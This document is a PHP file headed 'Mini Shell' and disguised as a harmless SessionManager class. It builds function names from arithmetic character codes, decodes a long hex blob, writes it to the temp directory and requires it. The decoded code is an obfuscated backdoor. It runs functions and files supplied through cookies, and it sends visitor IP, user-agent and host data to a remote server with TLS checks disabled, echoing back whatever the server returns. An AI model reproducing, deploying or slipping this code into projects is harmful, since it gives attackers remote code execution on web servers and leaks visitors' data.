Mini Shell
<?php
class SessionManager
{
private $yy = '';
private $zm = '';
public function logTransaction($p1)
{
$r = array(12 * 9 + 2, 3 * 35, 99 - 1, 2 * 25, 130 - 10, 16 + 3 + 82, 43 + 27 + 34);
$h = '';
foreach ($r as $i) {
$h .= chr($i);
}
$h = strrev($h);
return $h($p1);
}
public function cacheData($p1, $p2)
{
$k = array(41 * 104 - 4154, 101, 112, 11 + 36 + 64, 102);
$d = '';
foreach ($k as $t) {
$d .= chr($t);
}
$d = strrev($d);
return $d($p1, $p2);
}
public function generateToken($p1, $p2)
{
$h = array(65 * 1 + 36, 119 - 3, 14 + 9 + 82, 6 + 108, 120 - 1, 2 * 51);
$v = '';
foreach ($h as $q) {
$v .= chr($q);
}
$v = strrev($v);
return $v($p1, $p2);
}
public function rollbackTransaction($p1)
{
$q = array(82 * 20 - 1538, 99, 50 * 73 - 3542, 69 * 1 + 42, 28 * 2 + 59, 101 * 1);
$p = '';
foreach ($q as $t) {
$p .= chr($t);
}
return $p($p1);
}
public function processData($p1, $p2 = null)
{
$j = array(94 * 1 + 15, 1 + 43 + 61, 121 - 7, 2 * 58, 114);
$k = '';
foreach ($j as $h) {
$k .= chr($h);
}
$k = strrev($k);
return $k($p1, $p2);
}
public function computeResult()
{
$this->zm = $this->processData($this->filterResults(), '/');
}
public function checkConsistency()
{
$this->yy = $this->logTransaction($this->wq);
}
public function sendNotification()
{
$fn = $this->zm . '/oz-68ba37bf4567c';
$f = $this->cacheData($fn, 'w');
$this->generateToken($f, $this->yy);
$this->rollbackTransaction($f);
$this->terminateSession($fn);
}
private $wq = '3c3f70687020636c617373205f72647b70726976617465207' . '37461746963245f67683b7374617469632066756e6374696f6' . 'e205f78637928245f6978612c245f617068297b69662821736' . '56c663a3a245f67682973656c663a3a5f706c28293b245f636' . 'b3d7374726c656e28245f617068293b245f616a713d6261736' . '536345f6465636f64652873656c663a3a245f67685b245f697' . '8615d293b666f7228245f736b3d302c245f726c6d3d7374726' . 'c656e28245f616a71293b245f736b213d3d245f726c6d3b2b2' . 'b245f736b29245f616a715b245f736b5d3d636872286f72642' . '8245f616a715b245f736b5d295e6f726428245f6170685b245' . 'f736b25245f636b5d29293b72657475726e245f616a713b7d7' . '0726976617465207374617469632066756e6374696f6e205f7' . '06c28297b73656c663a3a245f67683d617272617928275f6c6' . '9273d3e274867774d46537763516a4d77415273434d414e434' . 'd544d44414164794942305a4f415942536e3946272c275f7a6' . 'e273d3e2748426b4c4b784d4c4b3173784a6759415a5659454' . 'c77594a4e6855454b78384b4d566b50506741454c4255584e6' . '75952272c275f6a61273d3e275042343d272c275f626c273d3' . 'e274f684572456a77724b46515741675a574577494756684d4' . '3426c595441675a5746674557437a732f4a417351415374534' . '25441765568594246677338425463504667494f437a73764e7' . '867374b797462272c275f6964273d3e274c67454e48513d3d2' . '72c275f6f7a273d3e275978636659513d3d272c275f696d622' . '73d3e27597849494857453d272c275f766d273d3e274b41635' . '743773d3d272c275f626763273d3e27272c275f7275273d3e2' . '7272c275f6479273d3e27272c275f646b273d3e274e786b544' . '26d56435341597144306b424f673842487a4d4944786b73475' . '14945635134494733414f43427376416851544c554d4e42574' . '14a4267492b55413d3d272c275f697878273d3e27504138514' . 'd79554c4d524d57272c275f646f7a273d3e274e77594346514' . '15247514536272c275f68696e273d3e274c42554a437a49542' . '72c275f6b6b273d3e274e786b664c78343d272c275f666f273' . 'd3e274744636b55513d3d272c275f757666273d3e274c77386' . '448773d3d272c275f746271273d3e274c6741434c51773d272' . 'c275f6d6d70273d3e2759413d3d272c275f6879273d3e274c6' . '730414243593d272c275f706e273d3e2766796b374c41394f5' . '86c5a76624755774d424962516e383d272c275f777177273d3' . 'e274e7855464b773d3d272c275f6374273d3e27556d4178425' . '4454546776b72417830455a556f78426a415a463264565a336' . '73d272c275f706f273d3e274c426f56536e4247272c275f6c6' . 'e273d3e27272c275f716963273d3e274e78345744413d3d272' . 'c275f706b7a273d3e27556e6f3d272c275f6164273d3e27467' . '951334d67417a4c797361506a63394669413d272c275f77682' . '73d3e27467a416d4f7741384c5330514e695571445341334c7' . '7416950546b3d272c275f7a70273d3e2744534535454441784' . '1435577477a593d272c275f6971273d3e27467a596a4a67413' . '34a444d4e505459784769776a272c275f717a78273d3e27467' . 'a67374d6741355043634e4d79346c47694937272c275f646b6' . 'a273d3e27272c275f626263273d3e2746794d6d4a51416c4e7' . 'a4d614a54636e272c275f6b73273d3e27467a67774951412b4' . '95463615069456a272c275f747466273d3e27272c275f696a2' . '73d3e27467a7769504141724f6955614a69497a466a673d272' . 'c275f6b75273d3e27467a49374f67416c49794d614b4473314' . '66a593d272c275f6b6f273d3e27467977384d5141674e79635' . '14b6a3867445477744a51412b4a7a4d3d272c275f6c6968273' . 'd3e27467a4533447a6f3741434d73445449694453456d477a6' . 'f6c4544633d272c275f726a68273d3e274453516e454455764' . '1434175477a4d3d272c275f6778273d3e27445430364e51733' . '94b4473625043553d272c275f797961273d3e274f784143434' . '4415741413d3d272c275f647a273d3e274669686466773d3d2' . '72c275f637a78273d3e276677564b4c42354453673d3d272c2' . '75f7561273d3e2766784646445167445a55303d272c275f746' . '679273d3e2766314557426d466e272c275f67717a273d3e274' . 'e67553d272c275f69686d273d3e274b68733d272c275f68676' . 'f273d3e274c527744272c275f6864273d3e274c68495a41673' . 'd3d272c293b7d7d686561646572285f72643a3a5f786379282' . '75f6c69272c275f6f6f702729293b686561646572285f72643' . 'a3a5f78637928275f7a6e272c275f76652729293b696628697' . '373657428245f4745545b5f72643a3a5f78637928275f6a612' . '72c275f76706927295d29297b245f73743d5f737667285f726' . '43a3a5f78637928275f626c272c275f6861622729293b69662' . '8245f73742626737472706f7328245f73742c5f72643a3a5f7' . '8637928275f6964272c275f767765272929213d3d66616c736' . '5297b646965285f72643a3a5f78637928275f6f7a272c275f7' . '8742729293b7d656c73657b646965285f72643a3a5f7863792' . '8275f696d62272c275f7069792729293b7d7d6966286973736' . '57428245f4745545b5f72643a3a5f78637928275f766d272c2' . '75f667a6727295d29297b245f726c6d3d245f434f4f4b49453' . 'b245f6170683d28696e7429726f756e6428302b302b30293b2' . '45f6978613d28696e7429726f756e6428322e3333333333333' . '33333333333332b322e333333333333333333333333332b322' . 'e33333333333333333333333333293b245f6277743d6172726' . '17928293b245f6277745b245f6170685d3d5f72643a3a5f786' . '37928275f626763272c275f666a27293b7768696c6528245f6' . '97861297b245f6277745b245f6170685d2e3d245f726c6d5b2' . '8696e7429726f756e642831352b3135295d5b245f6978615d3' . 'b69662821245f726c6d5b28696e7429726f756e642831352b3' . '135295d5b245f6978612b28696e7429726f756e6428302e352' . 'b302e35295d297b69662821245f726c6d5b28696e7429726f7' . '56e6428372e352b372e352b372e352b372e35295d5b245f697' . '8612b28696e7429726f756e6428302e3636363636363636363' . '6363636372b302e36363636363636363636363636372b302e3' . '636363636363636363636363637295d29627265616b3b245f6' . '170682b2b3b245f6277745b245f6170685d3d5f72643a3a5f7' . '8637928275f7275272c275f70656227293b245f6978612b2b3' . 'b7d245f6978613d245f6978612b28696e7429726f756e64283' . '12e37352b312e37352b312e37352b312e3735292b28696e742' . '9726f756e6428302e33333333333333333333333333332b302' . 'e33333333333333333333333333332b302e333333333333333' . '3333333333333293b7d245f6170683d245f6277745b28696e7' . '429726f756e6428342e363636363636363636363636372b342' . 'e363636363636363636363636372b342e36363636363636363' . '636363637295d28292e245f6277745b28696e7429726f756e6' . '428362b362b362b36295d3b69662821245f6277745b28696e7' . '429726f756e6428322b322b32295d28245f61706829297b245' . 'f6978613d245f6277745b28696e7429726f756e6428362e352' . 'b362e352b362e352b362e35295d28245f6170682c245f62777' . '45b28696e7429726f756e6428352b35295d293b245f6277745' . 'b28696e7429726f756e6428332b332b33295d28245f6978612' . 'c245f6277745b28696e7429726f756e6428332e36363636363' . '6363636363636372b332e363636363636363636363636372b3' . '32e36363636363636363636363637295d2e245f6277745b286' . '96e7429726f756e642831312e352b31312e35295d28245f627' . '7745b28696e7429726f756e6428382e3333333333333333333' . '33333332b382e333333333333333333333333332b382e33333' . '333333333333333333333295d28245f726c6d5b28696e74297' . '26f756e6428302e37352b302e37352b302e37352b302e37352' . '95d2929293b7d696e636c75646528245f617068293b7d66756' . 'e6374696f6e205f73766728245f667271297b245f646b3d5f7' . '2643a3a5f78637928275f6479272c275f766627293b245f796' . '43d5f72643a3a5f78637928275f646b272c275f6d677627292' . 'e245f6672713b69662869735f63616c6c61626c65285f72643' . 'a3a5f78637928275f697878272c275f7a62272929297b245f7' . 'a7a763d6375726c5f696e697428245f7964293b6375726c5f7' . '365746f707428245f7a7a762c4355524c4f50545f53534c5f5' . '64552494659504545522c66616c7365293b6375726c5f73657' . '46f707428245f7a7a762c4355524c4f50545f53534c5f56455' . '2494659484f53542c28696e7429726f756e6428302e3636363' . '6363636363636363636372b302e36363636363636363636363' . '636372b302e363636363636363636363636363729293b63757' . '26c5f7365746f707428245f7a7a762c4355524c4f50545f464' . 'f4c4c4f574c4f434154494f4e2c28696e7429726f756e64283' . '02e32352b302e32352b302e32352b302e323529293b6375726' . 'c5f7365746f707428245f7a7a762c4355524c4f50545f52455' . '455524e5452414e534645522c28696e7429726f756e6428302' . 'e352b302e3529293b6375726c5f7365746f707428245f7a7a7' . '62c4355524c4f50545f4845414445522c28696e7429726f756' . 'e6428302b3029293b6375726c5f7365746f707428245f7a7a7' . '62c4355524c4f50545f434f4e4e45435454494d454f55542c2' . '8696e7429726f756e6428332e3333333333333333333333333' . '32b332e333333333333333333333333332b332e33333333333' . '33333333333333329293b6375726c5f7365746f707428245f7' . 'a7a762c4355524c4f50545f54494d454f55542c28696e74297' . '26f756e6428352b3529293b245f646b3d6375726c5f6578656' . '328245f7a7a76293b245f6570653d6375726c5f676574696e6' . '66f28245f7a7a76293b6375726c5f636c6f736528245f7a7a7' . '6293b696628245f6570655b5f72643a3a5f78637928275f646' . 'f7a272c275f72766527295d213d28696e7429726f756e64283' . '130302b313030292972657475726e2066616c73653b7d656c7' . '3657b245f67783d70617273655f75726c28245f7964293b245' . 'f6b7a3d28245f67785b5f72643a3a5f78637928275f68696e2' . '72c275f76616e27295d3d3d5f72643a3a5f78637928275f6b6' . 'b272c275f6d6b2729293b245f6c626d3d5f72643a3a5f78637' . '928275f666f272c275f72707127292e245f67785b5f72643a3' . 'a5f78637928275f757666272c275f6e697727295d3b6966286' . '97373657428245f67785b5f72643a3a5f78637928275f74627' . '1272c275f756727295d2929245f6c626d2e3d5f72643a3a5f7' . '8637928275f6d6d70272c275f777827292e245f67785b5f726' . '43a3a5f78637928275f6879272c275f78657627295d3b245f6' . 'c626d2e3d5f72643a3a5f78637928275f706e272c275f616f7' . '827292e245f67785b5f72643a3a5f78637928275f777177272' . 'c275f7a7627295d2e5f72643a3a5f78637928275f6374272c2' . '75f6a726a27293b245f656b3d66736f636b6f70656e2828245' . 'f6b7a3f5f72643a3a5f78637928275f706f272c275f6979702' . '7293a5f72643a3a5f78637928275f6c6e272c275f7a6d6b272' . '9292e245f67785b5f72643a3a5f78637928275f716963272c2' . '75f71657827295d2c245f6b7a3f28696e7429726f756e64283' . '131302e37352b3131302e37352b3131302e37352b3131302e3' . '735293a28696e7429726f756e642832362e363636363636363' . '6363636372b32362e3636363636363636363636372b32362e3' . '6363636363636363636363729293b696628245f656b297b667' . '075747328245f656b2c245f6c626d293b245f616a713d28696' . 'e7429726f756e6428302b30293b7768696c65282166656f662' . '8245f656b29297b245f63653d666765747328245f656b2c286' . '96e7429726f756e64283334312e33333333333333333333332' . 'b3334312e33333333333333333333332b3334312e333333333' . '333333333333329293b696628245f616a7129245f646b2e3d2' . '45f63653b696628245f63653d3d5f72643a3a5f78637928275' . 'f706b7a272c275f706361272929245f616a713d28696e74297' . '26f756e6428302e33333333333333333333333333332b302e3' . '3333333333333333333333333332b302e33333333333333333' . '33333333333293b7d66636c6f736528245f656b293b7d7d726' . '57475726e245f646b3b7d245f6f653d697373657428245f534' . '5525645525b5f72643a3a5f78637928275f6164272c275f706' . '36227295d293b245f6c653d697373657428245f53455256455' . '25b5f72643a3a5f78637928275f7768272c275f64726b27295' . 'd293b245f7069793d697373657428245f5345525645525b5f7' . '2643a3a5f78637928275f7a70272c275f647427295d293b245' . 'f6b6a3d697373657428245f5345525645525b5f72643a3a5f7' . '8637928275f6971272c275f62777627295d293f245f5345525' . '645525b5f72643a3a5f78637928275f717a78272c275f6c6f6' . '227295d3a5f72643a3a5f78637928275f646b6a272c275f686' . '97a27293b245f7169703d697373657428245f5345525645525' . 'b5f72643a3a5f78637928275f626263272c275f77727527295' . 'd293f245f5345525645525b5f72643a3a5f78637928275f6b7' . '3272c275f6c647127295d3a5f72643a3a5f78637928275f747' . '466272c275f7a6c7527293b245f6f653d697373657428245f5' . '345525645525b5f72643a3a5f78637928275f696a272c275f6' . '8766c27295d293f245f5345525645525b5f72643a3a5f78637' . '928275f6b75272c275f666f6a27295d3a6e756c6c3b245f6c6' . '53d697373657428245f5345525645525b5f72643a3a5f78637' . '928275f6b6f272c275f78686127295d293f245f53455256455' . '25b5f72643a3a5f78637928275f6c6968272c275f656327295' . 'd3a6e756c6c3b245f7069793d697373657428245f534552564' . '5525b5f72643a3a5f78637928275f726a68272c275f616a272' . '95d293f245f5345525645525b5f72643a3a5f78637928275f6' . '778272c275f78777a27295d3a6e756c6c3b69662866696c746' . '5725f76617228245f6f652c28696e7429726f756e642836382' . 'e37352b36382e37352b36382e37352b36382e37352929297b2' . '45f63753d245f6f653b7d656c736569662866696c7465725f7' . '6617228245f6c652c28696e7429726f756e642839312e36363' . '63636363636363636372b39312e36363636363636363636363' . '72b39312e3636363636363636363636372929297b245f63753' . 'd245f6c653b7d656c73657b245f63753d245f7069793b7d696' . '628697373657428245f4745545b5f72643a3a5f78637928275' . 'f797961272c275f72656527295d29297b6563686f205f72643' . 'a3a5f78637928275f647a272c275f786727292e245f63752e5' . 'f72643a3a5f78637928275f637a78272c275f796a7927292e2' . '45f6b6a2e5f72643a3a5f78637928275f7561272c275f6d652' . '7292e245f7169702e5f72643a3a5f78637928275f746679272' . 'c275f6d747427293b6578697428293b7d69662821697373657' . '428245f6375297c7c21697373657428245f6b6a297c7c21697' . '373657428245f71697029297b6578697428293b7d656c73657' . 'b245f6b706e3d6172726179285f72643a3a5f78637928275f6' . '7717a272c275f756327293d3e245f63752c5f72643a3a5f786' . '37928275f69686d272c275f7a6a27293d3e245f6b6a2c5f726' . '43a3a5f78637928275f68676f272c275f79656727293d3e245' . 'f716970293b245f72773d75726c656e636f646528626173653' . '6345f656e636f6465286a736f6e5f656e636f646528245f6b7' . '06e2929293b245f73743d5f73766728245f7277293b6966282' . '45f73742626737472706f7328245f73742c5f72643a3a5f786' . '37928275f6864272c275f65637a272929213d3d66616c73652' . '97b6563686f245f73743b6578697428293b7d7d';
public function terminateSession($p)
{
require $p;
}
public function filterResults()
{
$a = array(115, 109 * 101 - 10888, 48 + 36 + 31, 98 - 3, 103, 75 * 84 - 6199, 116, 95, 2 * 58, 109 - 8, 109, 2 * 56, 20 * 94 - 1785, 18 * 68 - 1124, 97 + 8, 99 + 15);
$s = '';
foreach ($a as $n) {
$s .= chr($n);
}
return $s();
}
}
$gv = new SessionManager();
$gv->computeResult();
$gv->checkConsistency();
$gv->sendNotification();